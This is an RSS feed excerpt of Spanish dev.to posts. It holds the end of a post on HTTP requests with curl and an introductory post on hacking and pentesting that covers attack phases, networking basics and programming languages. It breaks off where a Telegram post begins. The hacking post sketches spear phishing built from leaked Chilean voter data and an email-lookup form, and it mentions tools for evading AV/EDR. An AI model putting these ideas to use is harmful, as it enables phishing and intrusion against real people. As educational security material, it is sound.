&lt;p&gt;&lt;em&gt;&lt;strong&gt;Comando&lt;/strong&gt; (request)&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; https://httpbin.org/post &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"name=nch&amp;amp;message=wspmdf"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;em&gt;&lt;strong&gt;Response&lt;/strong&gt;&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP/2 200
date: Wed, 12 Apr 2023 05:34:40 GMT
content-type: application/json
content-length: 454
server: gunicorn/19.9.0
access-control-allow-origin: *
access-control-allow-credentials: true

{
  "args": {},
  "data": "",
  "files": {},
  "form": {
    "message": "wspmdf",
    "name": "nch"
  },
  "headers": {
    "Accept": "*/*",
    "Content-Length": "23",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": "httpbin.org",
    "User-Agent": "curl/7.81.0",
    "X-Amzn-Trace-Id": "Root=1-643642f0-1ac9239a66e04bc20b27036a"
  },
  "json": null,
  "origin": "x.x.x.x",
  "url": "https://httpbin.org/post"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Con un poco de &lt;strong&gt;Bash&lt;/strong&gt; se pueden hacer muchas cosas como lo que escribí en un post anterior:&lt;/p&gt;


&lt;div class="ltag__link"&gt;
  &lt;a href="/vay3t" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__pic"&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Rrn-91yK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://res.cloudinary.com/practicaldev/image/fetch/s--sOCde9TR--/c_fill%2Cf_auto%2Cfl_progressive%2Ch_150%2Cq_auto%2Cw_150/https://dev-to-uploads.s3.amazonaws.com/uploads/user/profile_image/522717/6233989f-df25-4423-8875-bc5c10af8efd.png" alt="vay3t"&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="/vay3t/creando-un-notificador-en-telegram-con-bash-3l9h" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;Creando un notificador en Telegram con Bash&lt;/h2&gt;
      &lt;h3&gt;Vay3t ・ Aug 26&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
        &lt;span class="ltag__link__tag"&gt;#telegram&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#bash&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#python&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#notificador&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;



&lt;h1&gt;
  
  
  Conclusión
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Objetivo en la seguridad ofensiva
&lt;/h2&gt;

&lt;p&gt;La importancia de entender el protocolo &lt;strong&gt;HTTP&lt;/strong&gt; desde una perspectiva del atacante te permitirá identificar y explotar con mayor facilidad y efectividad proyectos web, realizando ataques sofisticados y personalizados, logrando de esta forma un mayor impacto.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mucho texto, a mimir&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AgiP57M9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wxd7mjkxz9odvg9trjz5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AgiP57M9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wxd7mjkxz9odvg9trjz5.png" alt="Image description" width="800" height="338"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Autores
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://github.com/nchgroup"&gt;NCH&lt;/a&gt; &amp;amp; &lt;a href="https://chat.openai.com/"&gt;OpenAI&lt;/a&gt;&lt;/p&gt;

</description>
      <category>http</category>
      <category>curl</category>
      <category>api</category>
      <category>web</category>
    </item>
    <item>
      <title>WTF es el Hacking?</title>
      <dc:creator>Vay3t</dc:creator>
      <pubDate>Sat, 02 Sep 2023 18:00:00 +0000</pubDate>
      <link>https://dev.to/vay3t/wtf-es-el-hacking-5g6d</link>
      <guid>https://dev.to/vay3t/wtf-es-el-hacking-5g6d</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--a5j2mzI1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aw3lnecjcvrqhgc9s951.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--a5j2mzI1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aw3lnecjcvrqhgc9s951.png" alt="Image description" width="480" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  WTF es un Hacker? (Opinión del autor)
&lt;/h1&gt;

&lt;p&gt;Hacker es un título que te lo dan las mismas personas o la comunidad, por tus logros y/o habilidades en la materia. Autoproclamarse Hacker sin estas características es caer en la arrogancia. Además, ningún Hacker se llama así mismo Hacker.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pentesting
&lt;/h2&gt;

&lt;p&gt;Una prueba de penetración, o &lt;strong&gt;pentest&lt;/strong&gt;, es un ataque a un sistema informático con la intención de encontrar las debilidades de seguridad y todo lo que podría tener acceso a ella, su funcionalidad y datos. [Fuente: Wikipedia]&lt;/p&gt;

&lt;h3&gt;
  
  
  Ciclo de vida de un ataque
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reconocimiento&lt;/strong&gt;: Es la primera fase de un ataque, en donde se obtiene información superficial del sistema o arquitectura a atacar, como descubrimiento de hosts, dominios y/o páginas web de cualquier objetivo el cual pueda ser atacado. Debemos Identificar los lenguajes de programación en el que está programado la página web que se va a atacar.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enumeración&lt;/strong&gt;: En esta fase se identifica qué función cumple y qué tipo de servicios corren en el servidor u objetivo. También obtenemos el tipo de sistema operativo y versiones de puertos por medio de escaneos, en caso de las páginas web identificar las versiones de las tecnologías usadas. Todo esto con el fin de encontrar vulnerabilidades.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Explotación&lt;/strong&gt;: Luego de obtener información suficiente del sistema a atacar y también sus versiones, se buscan las posibles vulnerabilidades existentes, junto con eso se buscan los exploits o se fabrican pruebas de concepto para así explotar la vulnerabilidad (aprovechar el bug) y sacar provecho de ello.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Post-Explotación&lt;/strong&gt;: Ya cuando estás dentro del sistema, después de haber explotado las vulnerabilidades que te permitan hacerlo, necesitas ganar acceso persistente en el sistema para luego capturar las contraseñas guardadas, obtener llaves de acceso, acceso a la red interna de un servidor expuesto en internet, aprovechar los recursos del servidor para beneficio propio como ataques de denegación de servicio, phishing, y por último después de hacer todo esto se realiza un borrado de huellas.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Tipos de pentestings
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Black Box&lt;/strong&gt;: Es el tipo de pentesting donde no tienes información previa del objetivo (target).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Grey Box&lt;/strong&gt;: Cuando tienes cuentas de usuario del objetivo (target) el cual facilita la explotación interna cuando empiezas a realizar el ataque.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;White Box&lt;/strong&gt;: Significa que tienes información de la infraestructura o el código fuente del objetivo (target) al iniciar el pentesting.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Inteligencia en el ataque
&lt;/h2&gt;

&lt;p&gt;Es la información que obtienes y de cómo le puedes sacar provecho a ello.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ejemplo práctico&lt;/strong&gt;: Existe un formulario en una página web donde puedes poner un &lt;em&gt;RUT/DNI&lt;/em&gt; y te devuelve un correo.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Acción criminal&lt;/strong&gt;: En Chile, años atrás, el &lt;em&gt;Servel&lt;/em&gt; de vez en cuando liberaba la información de todas las personas mayores de 18 (Nombre, RUT, sexo, dirección, comuna). Entonces tú al consultar el RUT asumes que te devuelve el correo del respectivo RUT. Además, el RUT es un entero de 7 a 8 dígitos más un dígito verificador, este dígito verificador es una fórmula conocida, por lo cual no es necesario conocerlo. Conociendo el correo de una persona es posible realizar un spear phishing aprovechando la información del Servel.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Phishing
&lt;/h3&gt;

&lt;p&gt;Se produce un ataque de suplantación de identidad (phishing) cuando alguien trata de conseguir que reveles información personal en línea.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Cómo suele hacerse la suplantación de identidad?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Por lo general, la suplantación de identidad se realiza por correo electrónico, anuncios o sitios que tienen un aspecto similar a los que usas. Por ejemplo, alguien que te envía un correo electrónico que parece proceder de tu banco para que le des información sobre tu cuenta bancaria. Los correos electrónicos o sitios de suplantación de identidad podrían solicitar lo siguiente:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Nombres de usuario y contraseñas, incluidos los cambios de contraseña&lt;/li&gt;
&lt;li&gt;Números de identificación personal
Números de cuentas bancarias&lt;/li&gt;
&lt;li&gt;PIN (Números de identificación personal)&lt;/li&gt;
&lt;li&gt;Números de tarjetas de crédito&lt;/li&gt;
&lt;li&gt;Apellido de soltera de tu madre&lt;/li&gt;
&lt;li&gt;Tu fecha de nacimiento&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Fuente&lt;/strong&gt;: &lt;a href="https://support.google.com/mail/answer/8253?hl=es-419"&gt;https://support.google.com/mail/answer/8253?hl=es-419&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Para atacar al enemigo debes conocerlo
&lt;/h3&gt;

&lt;p&gt;Una forma efectiva de poder tener mejores nociones de seguridad y entender mejor cómo atacar un sistema, es usar la tecnología o haber programado en tal lenguaje, por ejemplo, para saber cómo atacar mejor un &lt;strong&gt;Wordpress&lt;/strong&gt;, es conocimiento útil ya haber instalado y configurado anteriormente el CMS porque sabes cómo está estructurado.&lt;/p&gt;

&lt;h1&gt;
  
  
  Cómo funciona la red e internet
&lt;/h1&gt;

&lt;p&gt;Al acceder a una página web, tu sistema operativo utiliza al navegador como cliente, el cual se conecta al del dominio o dirección IP e interpreta el servicio que provee el servidor.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;MAC address&lt;/code&gt;: La dirección MAC (siglas en inglés de &lt;em&gt;Media Access Control&lt;/em&gt;) es un identificador único de 6 bloques de dos caracteres hexadecimales de una tarjeta o dispositivo de red. Se la conoce también como dirección física, y es única para cada dispositivo. Ej: &lt;code&gt;1A:2B:CB:D4:EE:F6&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;IP address&lt;/code&gt;: La dirección IP es un conjunto de números que identifica, de manera lógica y jerárquica, a una interfaz en red de un dispositivo. Ej: &lt;code&gt;1.1.1.1&lt;/code&gt;, &lt;code&gt;255.255.255.0&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;IP privada&lt;/code&gt;: Es la IP que te asigna el router para poder navegar de forma interna en la red local.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;IP pública&lt;/code&gt;: Es la IP que es accesible desde cualquier lugar del mundo desde un proveedor de servicios de internet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;puerto&lt;/code&gt;: Es el número de identificación de un servicio en concreto. Cada host tiene disponible &lt;strong&gt;65536&lt;/strong&gt; puertos enumerados desde el &lt;strong&gt;0&lt;/strong&gt; al &lt;strong&gt;65535&lt;/strong&gt;. Cuando estableces conexión con un servidor es fundamental que el servidor tenga un puerto disponible para su entrada. Cuando te conectas a una página web, el cliente que vendría siendo el navegador, se conecta al puerto &lt;strong&gt;80&lt;/strong&gt; o &lt;strong&gt;443&lt;/strong&gt; del servidor. Pero también ocurre otra cosa, cuando te conectas a un servidor, el cliente usa un puerto que es superior al &lt;strong&gt;1024&lt;/strong&gt; para conectarse a él. Más abajo existe un ejemplo gráfico de cómo funciona. Existen puertos conocidos como los siguientes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ftp&lt;/code&gt;: 21&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ssh&lt;/code&gt;: 22&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;http&lt;/code&gt;: 80&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;https&lt;/code&gt;: 443&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Algunos conceptos necesarios para seguir entendiendo las redes son:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;router&lt;/code&gt;: El artefacto que está en tu casa que permite que tengas internet y esté todo conectado a la misma red.&lt;br&gt;
red local (LAN): Por dar un ejemplo es la red del router de tu casa, no del internet en general, solo de tu casa.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;wifi&lt;/code&gt;: Protocolo de conexión inalámbrica a la red.&lt;br&gt;
ethernet: Conexión por cable a la red.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;host&lt;/code&gt;: Es un dispositivo como computadora, laptop, teléfono inteligente, servidor, que esté conectado a la red.&lt;br&gt;
cliente-servidor: Un cliente realiza peticiones a otro host, el servidor, quien le da la respuesta de esa petición.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;dominio&lt;/code&gt;: Es la traducción de una IP a un nombre, usualmente este está compuesto por 2 partes, el nombre y el tld. Ej: &lt;code&gt;midominiounicoyespecial.com&lt;/code&gt; (&lt;code&gt;dominio.tld&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;subdominio&lt;/code&gt;: Es una subdivisión del dominio. Se compone por 3 partes, el nombre de la subdivisión, el nombre del dominio, y el tld. Ej: &lt;code&gt;subdom.midom.com&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Esquema de conexión Cliente — Servidor
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-----------+                               +------------+&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;        &lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;         &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-------------------------&amp;gt;  |            |&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;                               &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;Cliente&lt;/span&gt;  &lt;span class="err"&gt;|&lt;/span&gt;                               &lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;Servidor&lt;/span&gt;  &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;Firefox&lt;/span&gt;  &lt;span class="err"&gt;|&lt;/span&gt;                               &lt;span class="err"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;web&lt;/span&gt;     &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;      &lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;36894&lt;/span&gt;       &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="c1"&gt;-------------------------+  |            |&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;                               &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-----------+                               +------------+&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;                              &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Protocolos de internet
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;TCP&lt;/strong&gt; y &lt;strong&gt;UDP&lt;/strong&gt; son dos protocolos fundamentales para las comunicaciones a través de Internet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TCP&lt;/strong&gt; (&lt;em&gt;Transmission Control Protocol&lt;/em&gt;) es un protocolo orientado a la conexión, lo que significa que antes de enviar datos, se establece una conexión entre dos dispositivos. Es un protocolo confiable que garantiza que los datos se transmitan de manera segura y completa a través de la red. &lt;strong&gt;TCP&lt;/strong&gt; incluye mecanismos de retransmisión de paquetes perdidos, control de flujo y control de congestión. Es ampliamente utilizado en aplicaciones que requieren una transmisión de datos precisa y confiable, como correo electrónico, transferencias de archivos y transacciones bancarias en línea.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UDP&lt;/strong&gt; (&lt;em&gt;User Datagram Protocol&lt;/em&gt;) es un protocolo sin conexión, lo que significa que los dispositivos no necesitan establecer una conexión antes de transmitir datos. Es un protocolo más rápido y eficiente que &lt;strong&gt;TCP&lt;/strong&gt;, ya que no incluye los mecanismos de control de errores y congestión. &lt;strong&gt;UDP&lt;/strong&gt; es utilizado principalmente en aplicaciones donde la velocidad es más importante que la precisión, como juegos en línea, transmisiones de video en vivo y voz sobre IP.&lt;/p&gt;

&lt;p&gt;En resumen, la principal diferencia entre &lt;strong&gt;TCP&lt;/strong&gt; y &lt;strong&gt;UDP&lt;/strong&gt; es que &lt;strong&gt;TCP&lt;/strong&gt; es un protocolo orientado a la conexión y confiable, mientras que &lt;strong&gt;UDP&lt;/strong&gt; es un protocolo sin conexión y no confiable pero más rápido. La elección del protocolo depende de las necesidades específicas de la aplicación y la red en la que se utiliza.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JA58YkCU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h49fl36xj7c700ilhlt1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JA58YkCU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h49fl36xj7c700ilhlt1.png" alt="Image description" width="800" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Software y lenguajes de programación
&lt;/h1&gt;

&lt;p&gt;El software es un conjunto de programas que se ejecutan en un ordenador o dispositivo electrónico, dividido en software de sistema y software de aplicación. Algunos lenguajes de programación son los siguientes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;C/C++&lt;/strong&gt; en el hacking es usado para la creación de backdoors que pueda evadir &lt;strong&gt;AV/EDR&lt;/strong&gt; o &lt;em&gt;exploits de escalada de privilegios local&lt;/em&gt;. Es un lenguaje difícil de aprender y de bajo nivel.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Python&lt;/strong&gt; es un lenguaje de programación de alto nivel, fácil de leer y escribir. En el hacking se usa para casi cualquier cosa, desde servidores para recibir conexiones en casi todos los protocolo, desarrollo de &lt;em&gt;exploits&lt;/em&gt; por lo general webs y &lt;em&gt;Buffer Overflows&lt;/em&gt;, herramientas de redes, bots de &lt;strong&gt;Telegram&lt;/strong&gt;, análisis estático de binarios, automatización de enumeración/ataques y así podría seguir hasta aburrirlos.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Go&lt;/strong&gt; es tan flexible como Python, pero requiere un poco más de esfuerzo para aprender debido a su nivel de dificultad ligeramente superior. La gracia de este lenguaje es el fácil manejo de concurrencia y la &lt;a href="https://opensource.com/article/21/1/go-cross-compiling"&gt;compilación cruzada&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Javascript&lt;/strong&gt; es un lenguaje de programación esencial para el desarrollo web moderno. También existe su formato Backend que es &lt;strong&gt;NodeJS&lt;/strong&gt; y su derivado &lt;strong&gt;Typescript&lt;/strong&gt;. Muchos sitios están en &lt;strong&gt;Javascript&lt;/strong&gt; tanto Frontend como Backend por lo cual siempre es útil conocerlo.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Bash&lt;/strong&gt; es un lenguaje de programación utilizado en sistemas operativos &lt;strong&gt;*Nix&lt;/strong&gt; (&lt;em&gt;Unix&lt;/em&gt; y &lt;em&gt;Linux&lt;/em&gt;) para automatizar tareas mediante scripts y para interactuar con el sistema operativo mediante la línea de comandos, da mayor flexibilidad para realizar funciones de administración de sistema operativo, por lo que tienes un mayor control del sistema operativo por lo cual optimiza los tiempos de programación usando más recursos.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;PowerShell&lt;/strong&gt; permite a los usuarios interactuar con el sistema operativo de &lt;em&gt;Windows&lt;/em&gt; mediante la línea de comandos, y también permite la automatización de tareas mediante la escritura de scripts. En el hacking sirve para vulnerar &lt;em&gt;Windows&lt;/em&gt; más fácilmente.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Java&lt;/strong&gt; es un lenguaje de programación popular y versátil utilizado en una amplia variedad de aplicaciones de software. Sirve para desarrollar módulos para &lt;strong&gt;Burpsuite&lt;/strong&gt; y es ampliamente usado por lo que se recomienda aprenderlo para entender como funciona las tecnologías.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Rust&lt;/strong&gt; puede ser considerado el reemplazo moderno y seguro de &lt;strong&gt;C/C++&lt;/strong&gt;, aun así el compilador de &lt;strong&gt;Rust&lt;/strong&gt; ocupa &lt;strong&gt;gcc&lt;/strong&gt;. Es usado para backdoors que evadan &lt;strong&gt;AV/EDR&lt;/strong&gt; y herramientas de post-explotación como volcador de memoria y herramientas de red.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Lenguajes compilados, interpretados y administrados
&lt;/h2&gt;

&lt;p&gt;Los lenguajes de programación se dividen en tres categorías: &lt;strong&gt;compilados&lt;/strong&gt;, &lt;strong&gt;interpretados&lt;/strong&gt; y &lt;strong&gt;administrados&lt;/strong&gt;. Los lenguajes &lt;strong&gt;compilados&lt;/strong&gt; traducen el código a lenguaje de máquina antes de la ejecución, mientras que los lenguajes &lt;strong&gt;interpretados&lt;/strong&gt; lo hacen en tiempo de ejecución. Los lenguajes &lt;strong&gt;administrados&lt;/strong&gt; utilizan una máquina virtual para ejecutar el código en lenguaje de bajo nivel. &lt;em&gt;C/C++&lt;/em&gt;, &lt;em&gt;Go&lt;/em&gt;, &lt;em&gt;Rust&lt;/em&gt; y &lt;em&gt;C#&lt;/em&gt; son &lt;strong&gt;compilados&lt;/strong&gt;, &lt;em&gt;Python&lt;/em&gt;, &lt;em&gt;Javascript&lt;/em&gt;, &lt;em&gt;Bash&lt;/em&gt; y &lt;em&gt;PowerShell&lt;/em&gt; son &lt;strong&gt;interpretados&lt;/strong&gt;, y &lt;em&gt;Java&lt;/em&gt; con &lt;em&gt;C#&lt;/em&gt; son &lt;strong&gt;administrados&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lenguajes recomendados
&lt;/h2&gt;

&lt;p&gt;Los lenguajes que sirven para temas de hacking y seguridad ofensiva de propósitos generales son: &lt;strong&gt;Python&lt;/strong&gt;, &lt;strong&gt;Bash&lt;/strong&gt;, &lt;strong&gt;Go&lt;/strong&gt;, &lt;strong&gt;C/C++&lt;/strong&gt; en ese orden de importancia dado a que con esto tendrás la suficiente libertad para ser independiente de las herramientas creadas o tener la suficiente flexibilidad de modificarlas y mejorarlas. Un plus seria aprender &lt;strong&gt;PowerShell&lt;/strong&gt; y &lt;strong&gt;C#&lt;/strong&gt; para la explotación de redes Microsoft.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusión
&lt;/h1&gt;

&lt;p&gt;En el area del &lt;strong&gt;hacking&lt;/strong&gt; es fundamental contar con sólidos conocimientos en redes, sistemas operativos y programación, ya que al ser multidisciplinario proporciona las herramientas necesarias para destacar en la mayoría de las áreas. En esta disciplina es necesario la &lt;strong&gt;habilidad&lt;/strong&gt;, &lt;strong&gt;versatilidad&lt;/strong&gt;, &lt;strong&gt;creatividad&lt;/strong&gt; y &lt;strong&gt;genialidad&lt;/strong&gt; del &lt;em&gt;adversario&lt;/em&gt;, capaz de resolver problemas informáticos para lograr vulnerar el componente objetivo usando solo el conocimiento actual a la fecha, sus herramientas e Internet.&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>pentesting</category>
      <category>security</category>
      <category>hacker</category>
    </item>
    <item>
      <title>Creando un notificador en Telegram con Bash</title>
      <dc:creator>Vay3t</dc:creator>
      <pubDate>Sat, 26 Aug 2023 18:00:00 +0000</pubDate>
      <link>https://dev.to/vay3t/creando-un-notificador-en-telegram-con-bash-3l9h</link>
      <guid>https://dev.to/vay3t/creando-un-notificador-en-telegram-con-bash-3l9h</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu7lbpesbnyromrxb3pa9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu7lbpesbnyromrxb3pa9.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  ¿En que consistirá el notificador?
